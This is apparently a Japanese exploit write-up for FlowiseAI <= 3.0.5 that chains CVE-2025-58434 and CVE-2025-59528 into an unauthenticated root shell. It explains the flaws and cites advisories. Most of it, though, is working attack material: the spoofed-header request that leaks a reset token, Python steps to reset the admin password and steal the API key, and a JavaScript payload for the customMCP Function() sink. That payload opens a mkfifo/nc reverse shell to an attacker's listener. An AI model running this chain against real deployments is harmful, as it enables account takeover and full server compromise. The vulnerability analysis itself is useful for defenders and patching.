FlowiseAIにおける認証不要のキルチェーンが完全なRCEに至る重大な脆弱性(CVE-2025-58434 + CVE-2025-59528)
FlowiseAI
<= 3.0.5に対する、認証なしのアカウント乗っ取りとリモートコード実行の連鎖。
5秒未満での完全なコンテナ侵害、認証情報不要。
左: FlowiseAI ログインページ — 右: CVE-2025-59528 による root シェル · uid=0(root)
このエクスプロイトは、2つの独立した重大な脆弱性を単一の完全自動化攻撃に連鎖させます。どちらか一方の脆弱性だけでは完全な侵害は保証されませんが、一緒になることで、認証情報ゼロからDockerコンテナ内のrootシェルに至る完全なキルチェーンを形成します。
[No credentials]
│
▼
① Abuse forgot-password endpoint (no auth required)
│ → Server responds with the victim's reset token in plaintext
▼
② Submit token to reset-password endpoint
│ → Attacker controls the admin password
▼
③ Login + retrieve Bearer API key
│ → Full authenticated session established
▼
④ Send JavaScript payload via customMCP node
│ → Server evaluates it via Function() constructor
▼
[Root shell inside Docker container]
ゼロインタラクションの理由: 被害者はメールを受け取ったり、ログインアラートを見たり、目に見えるイベントをトリガーしたりすることは一切ありません。攻撃は完全にサーバーサイドで行われます。
CVSS 3.1: 9.8 致命的 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影響を受けるバージョン: FlowiseAI <= 3.0.5 (クラウド + セルフホステッド)
アドバイザリ: GHSA-wgpv-6j63-x5ph
FlowiseAIには、「内部」リクエストという概念があります。これは、自身のサービス間で行われるAPI呼び出しであり、x-request-from: internal HTTPヘッダーで識別されます。/api/v1/account/forgot-passwordエンドポイントはこのヘッダーを使用して、認証を完全にスキップし、外部からの呼び出しの場合とは異なる、より詳細なレスポンスを返します。
問題は、このヘッダーは一切検証も制限もされていないことです。インターネット上の攻撃者は誰でもこれを送信できます。送信すると、パスワードリセットメールをトリガーする代わりに、APIは完全なユーザーレコードを応答します。これには、新しいパスワードを設定するためにすぐに使用できる有効なtempTokenが含まれています。
通常、パスワードリセットの流れは次のようになります:
User requests reset → Server generates token → Token sent by EMAIL → User clicks link → Password changed
ここでは、サーバーはメールのステップを完全にスキップし、トークンをHTTPレスポンスのボディに直接配置します。攻撃者はそれを捕捉し、リセットステップに直接進みます。メールへのアクセスは不要です。
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — 完全なユーザーレコードが露出{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
その後、tempTokenはリセットエンドポイントに直接送信されます。メールのやり取り、CAPTCHA、レート制限は一切ありません。

CVSS 3.1: 10.0 致命的 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
影響を受けるバージョン: FlowiseAI <= 3.0.5
アドバイザリ: GHSA-3gcm-f6qx-ff7p
FlowiseAIでは、ユーザーがサーバー設定をJSON文字列として提供してカスタムMCP(Model Context Protocol)ノードを定義できます。内部では、プラットフォームはこの設定を解析する必要がありますが、JavaScriptのFunction()コンストラクタを使用してそれを行います。これは機能的にeval()と同等です。
設定文字列は完全にサニタイズされずにシンクに到達します:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — line 262
const result = Function('return ' + mcpServerConfig)();
// ↑ unsanitized user input — arbitrary JS execution
Function()がeval()と同様に危険な理由Function('return ' + code)()は以下のことを行います:
codeを本体とする新しいJavaScript関数を構築これにより、攻撃者はprocess、require、child_process、およびNode.jsランタイム全体にアクセスできる完全なJavaScript実行コンテキストを手に入れます。サンドボックスではありません。
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← attacker-controlled string
└─ substituteVariablesInString() ← no filtering, passes through
└─ convertToValidJSONString() ← no filtering, passes through
└─ Function('return ' + input)() ← arbitrary code executes here
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
なぜ
mkfifoで/dev/tcpではないのか?
コンテナは/bin/shで動作し、/bin/bashではありません。/dev/tcpはbashのみの機能であり、標準のPOSIXシェルには存在しません。mkfifoは名前付きパイプを作成し、POSIX準拠のシェルで動作するため、リバースシェルをコンテナ環境間で移植可能にします。
| プロパティ | 詳細 |
|---|---|
| 認証情報不要 | 攻撃者はターゲットIP以外何も持たずに開始します |
| 被害者の操作不要 | フィッシング、クリック、ソーシャルエンジニアリングはありません |
| レート制限なし | リセットエンドポイントにスロットリングがなく、必要ならブルートフォース可能 |
| CAPTCHAなし | リセットフローに人間による検証がありません |
| メール確認なし | パスワード変更は即座に行われ、無音で、元に戻せません |
| RCEにおける完全なNode.jsランタイム | child_process、ファイルシステム、ネットワーク — サンドボックスなし |
| Docker内でrootとして実行 | コンテナは通常rootとして起動され、完全なファイルシステムアクセス |
| クラウド+セルフホステッドに影響 | <= 3.0.5 のすべてのデプロイメントが脆弱 |
エクスプロイトは4つの連続したステップで構成されており、それぞれがキルチェーンのフェーズに直接対応しています。
CVE-2025-58434)r1 = session.post(
f"{TARGET}/api/v1/account/forgot-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]
何が起こるか: サーバーはx-request-from: internalヘッダーにより、これが内部のサービス間呼び出しであると認識します。通常のメール送信パスをスキップし、完全なユーザーレコード(有効なパスワードリセットトークンを含む)をHTTPの201レスポンスボディに直接返します。
なぜ機能するか: ヘッダーチェックは純粋に文字列ベースであり、暗号検証はありません。どんな呼び出し元でも設定できます。バックエンドはリクエストの発信元を検証しません。
session.post(
f"{TARGET}/api/v1/account/reset-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)
何が起こるか: 盗まれたtempTokenが、攻撃者が選択した新しいパスワードとともに送信されます。サーバーはトークンを検証し(実際に存在し有効です)、メールが一致することを確認し、認証情報ハッシュを更新します。メール確認や二次チェックはありません。
なぜ機能するか: トークンの検証は、トークンが存在し有効期限が切れていないことだけを確認します。トークンを生成した呼び出し元とリセットを送信する呼び出し元が同一であるかどうかは検証されません。所有権は決して確認されません。
# Login with the newly set password
session.post(f"{TARGET}/api/v1/auth/login",
json={"email": EMAIL, "password": NEW_PASS})
# Fetch the Bearer API key needed for the RCE endpoint
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]
何が起こるか: 攻撃者の新しいパスワードでの通常のログインにより、完全な管理者セッション(クッキーベース)が確立されます。その後、そのセッションを使用してプラットフォームのデフォルトAPIキーを取得します。これはステップ4で使用するnode-load-methodエンドポイントへのリクエストを認証するために必要です。
なぜ機能するか: この時点で攻撃者は管理者です。認証情報を所有しています。セッションとAPIキーはサーバーによって正当に発行されます。